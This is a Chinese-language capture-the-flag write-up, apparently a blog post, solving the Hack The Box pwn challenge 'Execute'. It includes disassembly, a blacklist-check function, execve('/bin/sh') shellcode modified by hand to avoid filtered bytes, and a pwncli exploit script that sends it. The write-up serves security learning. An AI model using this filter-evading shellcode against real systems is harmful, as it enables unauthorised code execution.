selph
selph
发布于 2024-05-18 / 165 阅读
0
1

[HTB] pwn - Execute

analysis:

shellcode题:

.text:00000000000012ED ; int __fastcall main(int argc, const char **argv, const char **envp)
.text:00000000000012ED                 public main
.text:00000000000012ED main            proc near               ; DATA XREF: _start+21↑o
.text:00000000000012ED
.text:00000000000012ED input_len       = dword ptr -74h
.text:00000000000012ED s               = byte ptr -70h
.text:00000000000012ED input           = byte ptr -50h
.text:00000000000012ED canary          = qword ptr -8
.text:00000000000012ED
.text:00000000000012ED ; __unwind {
.text:00000000000012ED                 endbr64
.text:00000000000012F1                 push    rbp
.text:00000000000012F2                 mov     rbp, rsp
.text:00000000000012F5                 add     rsp, 0FFFFFFFFFFFFFF80h
.text:00000000000012F9                 mov     rax, fs:28h
.text:0000000000001302                 mov     [rbp+canary], rax
.text:0000000000001306                 xor     eax, eax
.text:0000000000001308                 mov     rax, 0F668736E6962543Bh
.text:0000000000001312                 mov     rdx, 67616C66C95FC0D2h
.text:000000000000131C                 mov     qword ptr [rbp+s], rax
.text:0000000000001320                 mov     qword ptr [rbp+s+8], rdx
.text:0000000000001324                 mov     [rbp+s+10h], 0
.text:0000000000001328                 mov     eax, 0
.text:000000000000132D                 call    setup
.text:0000000000001332                 lea     rdi, s          ; "Hey, just because I am hungry doesn't m"...
.text:0000000000001339                 call    _puts
.text:000000000000133E                 lea     rax, [rbp+input]
.text:0000000000001342                 mov     edx, 3Ch ; '<'  ; nbytes
.text:0000000000001347                 mov     rsi, rax        ; buf
.text:000000000000134A                 mov     edi, 0          ; fd
.text:000000000000134F                 call    _read
.text:0000000000001354                 mov     [rbp+input_len], eax
.text:0000000000001357                 lea     rax, [rbp+s]
.text:000000000000135B                 mov     rdi, rax        ; s
.text:000000000000135E                 call    _strlen
.text:0000000000001363                 mov     ecx, eax        ; 16
.text:0000000000001365                 mov     edx, [rbp+input_len] ; 输入的长度
.text:0000000000001368                 lea     rsi, [rbp+input] ; 输入
.text:000000000000136C                 lea     rax, [rbp+s]
.text:0000000000001370                 mov     rdi, rax        ; 硬编码
.text:0000000000001373                 call    check           ; 输入的字节不能存在指定字节,黑名单过滤
.text:0000000000001378                 test    eax, eax
.text:000000000000137A                 jnz     short loc_1392
.text:000000000000137C                 lea     rdi, aHeheToldYouWon ; "Hehe, told you... won't accept everythi"...
.text:0000000000001383                 call    _puts
.text:0000000000001388                 mov     edi, 539h       ; status
.text:000000000000138D                 call    _exit
.text:0000000000001392 ; ---------------------------------------------------------------------------
.text:0000000000001392
.text:0000000000001392 loc_1392:                               ; CODE XREF: main+8D↑j
.text:0000000000001392                 lea     rdx, [rbp+input]
.text:0000000000001396                 mov     eax, 0
.text:000000000000139B                 call    rdx             ; shellcode
.text:000000000000139D                 mov     eax, 0
.text:00000000000013A2                 mov     rcx, [rbp+canary]
.text:00000000000013A6                 xor     rcx, fs:28h
.text:00000000000013AF                 jz      short locret_13B6
.text:00000000000013B1                 call    ___stack_chk_fail
.text:00000000000013B6 ; ---------------------------------------------------------------------------
.text:00000000000013B6
.text:00000000000013B6 locret_13B6:                            ; CODE XREF: main+C2↑j
.text:00000000000013B6                 leave
.text:00000000000013B7                 retn
.text:00000000000013B7 ; } // starts at 12ED
.text:00000000000013B7 main            endp
.text:00000000000013B7

这里过滤坏字符:0F668736E6962543Bh,67616C66C95FC0D2h,这里的字节不允许出现在shellcode里,check就是检查这个事情的:

__int64 __fastcall check(__int64 a1, __int64 a2, int a3, int a4)
{
  int i; // [rsp+20h] [rbp-8h]
  int j; // [rsp+24h] [rbp-4h]

  for ( i = 0; i < a4; ++i )
  {
    for ( j = 0; j < a3 - 1; ++j )
    {
      if ( *(_BYTE *)(i + a1) == *(_BYTE *)(j + a2) )
        return 0LL;
    }
  }
  return 1337LL;
}

所以拿个现成shellcode去改就行,用shellcraft生成一个:

    /* execve(path='/bin/sh', argv=0, envp=0) */
    /* push b'/bin/sh\x00' */
    mov rax, 0x101010101010101
    push rax
    mov rax, 0x101010101010101 ^ 0x68732f6e69622f
    xor [rsp], rax
    mov rdi, rsp
    xor edx, edx /* 0 */
    xor esi, esi /* 0 */
    /* call execve() */
    push SYS_execve /* 0x3b */
    pop rax
    syscall

编译:

  401000:       48 b8 01 01 01 01 01    movabs rax,0x101010101010101
  401007:       01 01 01 
  40100a:       50                      push   rax
  40100b:       48 b8 2e 63 68 6f 2e    movabs rax,0x169722e6f68632e
  401012:       72 69 01 
  401015:       48 31 04 24             xor    QWORD PTR [rsp],rax
  401019:       48 89 e7                mov    rdi,rsp
  40101c:       31 d2                   xor    edx,edx
  40101e:       31 f6                   xor    esi,esi
  401020:       6a 3b                   push   0x3b
  401022:       58                      pop    rax
  401023:       0f 05                   syscall 

写脚本检查坏字符:

black = b"\x3b\x54\x62\x69\x6e\x73\x68\xf6\xd2\xc0\x5f\xc9\x66\x6c\x61\x67"
print(f"black list: {black}")
for i in range(len(shellcode)):
    if shellcode[i] in black:
        print(f"black: {hex(shellcode[i])}")

查出来:

black list: b';Tbinsh\xf6\xd2\xc0_\xc9flag'
black: 0x68
black: 0x69
black: 0xd2
black: 0xf6
black: 0x3b

分析修改思路:

  • 这里的0x68和0x69出现在异或后的结果里,改一下异或字符串即可
  • 这里的0xd2和0xf6是清空edx和esi的,改用push pop组合来替代即可
  • 这里的0x3b在给rax赋值的时候使用的,可以改成赋值0x3a然后加1

结果:

    mov rax, 0x103310101030101
    push rax
    mov rax, 0x103310101030101 ^ 0x68732f6e69622f
    xor [rsp], rax
    mov rdi, rsp
    push 0
    pop rdx
    push 0
    pop rsi
    /* call execve() */
    push 0x3a /* 0x3b */
    pop rax
    add al, 0x01
    syscall

exp:

#!/usr/bin/env python3
# Date: 2024-04-12 13:53:38
# Link: https://github.com/RoderickChan/pwncli
# Usage:
#     Debug : python3 exp.py debug elf-file-path -t -b malloc
#     Remote: python3 exp.py remote elf-file-path ip:port

from pwncli import *
cli_script()
from ae64 import *

io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc


with open("shellcode_raw","rb")as f:
    shellcode = f.read()
black = b"\x3b\x54\x62\x69\x6e\x73\x68\xf6\xd2\xc0\x5f\xc9\x66\x6c\x61\x67"

#shellcode = asm(asm_code)
#shellcode = encode(shellcode,black)
# send shellcode

print(f"black list: {black}")
for i in range(len(shellcode)):
    if shellcode[i] in black:
        print(f"black: {hex(shellcode[i])}")


payload = shellcode
io.send(payload)


ia()

summary

遇到过滤的shellcode题目,别急着去找工具自动去除坏字节,应该先试试手动去除可不可行

  • pwntools的encode函数可以处理shellcode去除bad char

评论